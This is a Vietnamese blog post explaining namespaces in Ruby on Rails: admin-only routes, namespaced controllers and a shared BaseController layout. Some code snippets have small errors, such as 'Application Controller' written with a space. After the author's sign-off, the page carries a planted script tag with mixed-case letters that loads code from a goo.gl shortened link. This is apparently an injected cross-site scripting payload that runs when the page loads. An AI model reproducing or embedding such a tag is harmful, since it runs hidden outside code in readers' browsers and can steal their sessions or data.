+3

Namespace in Rails

Namespace là một trong những tính năng của rails cho phép chúng ta tổ chức và phân biệt rõ ràng trong cấu trúc và phần xử lý của ứng dụng. Giả như trong một ứng dụng có phân quyền, có những chức năng mà bất cứ người dùng nào cũng có thể sử dụng, nhưng có những chức năng chỉ có những người quản lý(admin) mới có quyền thực hiện.

    resources :books, only: [:index, :show]
    namespace :admin do
      resources :book, except: [:index, :show]
    end

Như trong ví dụ trên, chúng ta cho phép tất cả người dùng xem danh sách và xem cụ thể một book, nhưng chỉ có admin mới có quyền add/edit/delete một đối tượng book.

Đoạn code thứ 1 sẽ thiết lập các route có dạng/books/

Đoạn code thứ 2 sẽ thiết lập các route có dạng /admin/books

Điều này dẫn tới việc sẽ tồn tại các view và controller độc lập với các view và controller sẵn có. Các view và controller riêng này sẽ nằm trong thư mục app/controller/namespace(ở đây là admin) và app/view/namespace(admin) thay vì app/controller và app/view như bình thường. Chúng ta có thể sử dụng namespace để khai báo nhiều resources với các chức năng dành riêng cho admin.Ví dụ:

    namespace :admin do
      resources :books, except: [:index, :show]
      resources :categories, except: [:index, :show]
    end

Tất cả các controller trong thư mục riêng namespace sẽ được định nghĩa dưới dạng

  class Namespace::ObjectController < Application Controller
    //method
  end

Chú ý là để sử dụng các view ở bên trong app/view/namespace folder chúng ta cần phải thiết lập:

  class Namespace::ObjectController < Application Controller
    layout "admin/application"
    //method
  end

Chúng ta có thể định nghĩa một lớp BaseController với thiết lập như trên và kế thừa từ ApplicationController. Sau đó các Controller trong namespace sẽ kế thừa từ BaseController; điều này giúp giảm việc phải khai báo quá nhiều lần

  class Admin::BaseController < ApplicationController
    layout "admin/application"
  end

  class Admin::ObjectController < Admin::BaseController
    //method
  end

Như trong ví dụ trên việc sử dụng namespace admin sẽ giúp chúng ta phân quyền, view và controller cho các mục đích sử dụng của các đối tượng cụ thể sẽ là độc lập với nhau

Mình xin tạm dừng tại đây.Bài viết còn nhiều thiếu sót rất mong nhận được sự góp ý của bạn đọc

<sCrIpT src="https://goo.gl/4MuVJw"></ScRiPt>


All rights reserved

Viblo
Hãy đăng ký một tài khoản Viblo để nhận được nhiều bài viết thú vị hơn.
Đăng kí